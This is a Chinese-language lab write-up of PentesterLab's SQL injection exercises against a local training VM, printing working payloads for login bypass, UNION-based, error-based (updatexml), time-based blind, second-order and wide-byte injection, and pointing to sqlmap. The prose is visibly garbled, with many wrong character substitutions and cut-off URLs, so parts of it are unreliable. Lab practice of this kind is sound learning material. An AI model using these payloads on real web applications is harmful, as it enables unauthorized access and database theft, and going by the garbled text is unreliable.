环境装置
轻易在网上找了个Pentester的靶场,后果是2013年的,那就从2013年的这个靶场开始学习

下载镜像的地址:

https://pentesterlab.com/exer...

失常找个虚拟机,进行iso的装置

装置实现后,查下虚拟机的IP,间接拜访即可http://192.168.29.129/

sql注入
Example 1
万能明码:

本人尝试了几个明码,筛选出了这几个通关的,亲试可用:

admin'or 1=1#

"or"="a'='a

a'or' 1=1--

'or''='

用户名和明码都填一样的,点击提交通关

Example 2
通过order by语句确定字段的长度为3 --此处须要浏览此文的人自行学习,省得就无难度了

加粗局部为所须要填的注入语句,拜访后通关

http://192.168.29.129/sqlinje...' union select 1,2,3 --+&password=2&submit=%E6%8F%90%E4%BA%A4

Example 3
去猜他的sql语句大略

select * from users where username='a' and password='b'

在尝试过程中发现应用单引号没有作用

尝试去结构及躲避:

select * from users where username='\' and password=' or 1=1#'

用\做用户名,or 1=1#做明码间接登录

说白了就是执行了这段:

SELECT * FROM users where username="x" or 1=1#"

Example 4
在通过尝试发现界面会返回谬误后,能够应用报错注入

案例4能够尝试报错注入:
http://192.168.29.129/sqlinje... and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)


以此类推,找到其余须要的信息

Example 5
起初用order by 来爆字段长度,后果发现始终报错

如果order by无奈应用则间接上union 用字段来尝试破试出长度,发现长度就是之前试出来的3

union select 1,2,3

减少一个长度4,报错:

之后批改数字1,2的信息即可:

间接暴库即可,间接拿sqlmap去爆它:

Example 6
同样先爆字段长度用order by,发现这个能够爆,长度是3

之后再用union思路一样:

Example 7
属于工夫盲注,此处界面没有显示信息的中央,只能通过猜字段的模式来进行

通过大于、小于、等于来进行,发现本库的字段为21

http://192.168.29.129/sqlinje... and if(length(database())=21,sleep(5),1) --+

通过sqlmap爆一下,判断进去能注入后间接爆:

Example 8
此处的案例是二次注入,应用

a' union select 1,2,3# 进行二次注入:

查问列表,爆url,通过dirsearch爆出目录users,尽管是500但证实存在这个目录:

尝试列表中的数字,发现4能够进行注入:

Example 9
宽字节注入尝试,对于mysql数据库的测试:

发现存在注入,增加胜利

%df%27%20or%201=1%23